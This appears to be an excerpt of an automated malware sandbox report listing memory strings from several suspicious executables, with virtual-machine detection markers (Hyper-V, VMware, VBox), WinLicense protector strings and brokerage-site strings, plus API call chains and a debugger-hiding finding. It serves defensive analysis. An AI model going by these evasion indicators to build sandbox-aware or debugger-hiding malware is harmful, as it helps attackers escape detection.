Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy^{
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000996000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000996000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000002.2373119176.0000000000C76000.00000040.00000001.01000000.00000009.sdmp, userIJKFHIIEHI.exe, 00000009.00000002.2424291604.0000000000769000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, 0000000D.00000002.2432417132.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, explorti.exe, 0000000E.00000002.3390822561.0000000000AA6000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000F.00000002.2449285864.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000001F.00000002.3390670231.00000000008A9000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000E.00000002.3406205862.000000000165A000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.00000000025BD000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.00000000026FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 0000001F.00000002.3405200115.0000000001464000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 0000001C.00000002.2743683030.0000025B438C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2812166665.0000025DAEE17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: 659e6df34d.exe, 00000010.00000002.2479176591.0000000002589000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX?\
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: 659e6df34d.exe, 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: 659e6df34d.exe, 00000010.00000002.2479176591.0000000002567000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareR
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2413355386.0000000028AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: RoamingKJEGDBKFIJ.exe, 00000006.00000003.2346807521.0000000001530000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: xVBoxService.exe
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: firefox.exe, 0000001E.00000002.2812722638.0000025DAF240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VBoxService.exe
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VMWare
Source: file.exe, 00000000.00000002.2386289151.0000000002599000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000866000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000866000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-69387
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68209
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68212
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68230
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68231
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68252
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68223
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-68033

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
